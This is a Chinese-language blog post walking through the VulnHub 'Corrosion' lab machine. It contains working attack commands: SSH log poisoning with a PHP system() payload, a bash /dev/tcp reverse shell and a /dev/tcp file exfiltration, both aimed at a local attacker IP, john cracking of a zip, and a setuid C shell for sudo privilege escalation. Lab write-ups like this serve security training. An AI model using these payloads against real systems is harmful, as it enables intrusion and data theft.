VulnHub日记(四):Corrosion

本文详细介绍了通过nmap扫描、目录枚举、日志注入、PHP代码执行、bash反弹shell、zip文件密码破解以及sudo权限利用,最终实现对VulnHub靶机Corrosion的完全控制的过程。通过这个实战,读者可以学习到多种网络安全攻防技巧。
摘要由CSDN通过智能技术生成

靶机介绍

难度:容易

对于初学者来说,这是一个简单的盒子,但不太容易。祝你好运

提示:枚举属性

虚拟机链接:https://www.vulnhub.com/entry/corrosion-1,730/

参考博客:https://nepcodex.com/2021/08/corrosion-walkthrough-vulnhub-writeup/

开始练习


本机ip:192.168.56.102

使用nmap找出靶机ip:192.168.56.111

nmap -sS -sV 192.168.56.0/24

查看开启端口及服务

nmap -A -p- 192.168.56.111

 看到开启80和22端口,先使用浏览器访问发现是默认页面 ,使用drsearch找目录

dirsearch  -e txt,bak,zip,img,jpg,php,html -u http://192.168.56.111 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -r

访问该页面,看到tasks_todo文件

blog-post目录
 

 

blog-post目录下有子目录

 

打开php文件,需要一个参数,根据提示,使用fuzzing

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'http://192.168.19.130/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

得到了file参数,将将参数值设为日志文件目录,尝试访问日志

http://192.168.56.111/blog-post/archives/randylogs.php?file=/var/log/auth.log

尝试在ssh连接时写入php代码到日志文件中

ssh '<?php system($_GET["aaa"]); ?>'@192.168.56.111  

 说明日志文件会将ssh用户名作为php代码执行

尝试输入想要获取的信息值,例如uid,目录等

view-source:http://192.168.56.111/blog-post/archives/randylogs.php?file=/var/log/auth.log&aaa=id

view-source:http://192.168.56.111/blog-post/archives/randylogs.php?file=/var/log/auth.log&aaa=ls -al

 确认可以利用后,写bash脚本反弹shell,现在本机监听端口

nc -nvlp 4396

 在日志页写入bash脚本

bash -c 'bash -i >& /dev/tcp/192.168.56.102/4396 0>&1'

直接写入会弹不出shell,需要使用URL编码

bash%20-c%20%27bash%20-i%20>%26%20%2Fdev%2Ftcp%2F192.168.56.102%2F4396%200>%261%27

 在/var/backup目录下发现可疑zip文件

在本机打开另一个监听端口用于获取文件

nc -nvlp 4397

shell处执行命令,完成传输

cat user_backup.zip > /dev/tcp/192.168.56.102/4397

发现解压需要输入密码,使用zip2john暴力破解

zip2john user.zip | tee hash 
john hash --wordlist=/root/Desktop/rockyou.txt
john has --show

 

 查看其余三个文件没有有用信息,得到用户密码,使用ssh登录,拿到用户FLAG

ssh -l randy 192.168.56.111

 

 

 开始提权,先查看免root密码执行的命令

sudo -l

这个文件与之前在zip文件中的c语言程序功能相同,没有发现用处

由于不能编辑该文件,查看提示我们有权限更改二进制目录,于是编写一个c文件,使用gcc将此文件编译覆盖easysysinfo ,再次执行就可以完成提权

cat > 4396.c
#include <unistd.h>
#include <stdlib.h>

void main()
{
  setuid(0);
  setgid(0);
  system("bash -i");
}


gcc 4396.c -o easysysinfo
sudo ./easysysinfo

在/root下拿到FLAG

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值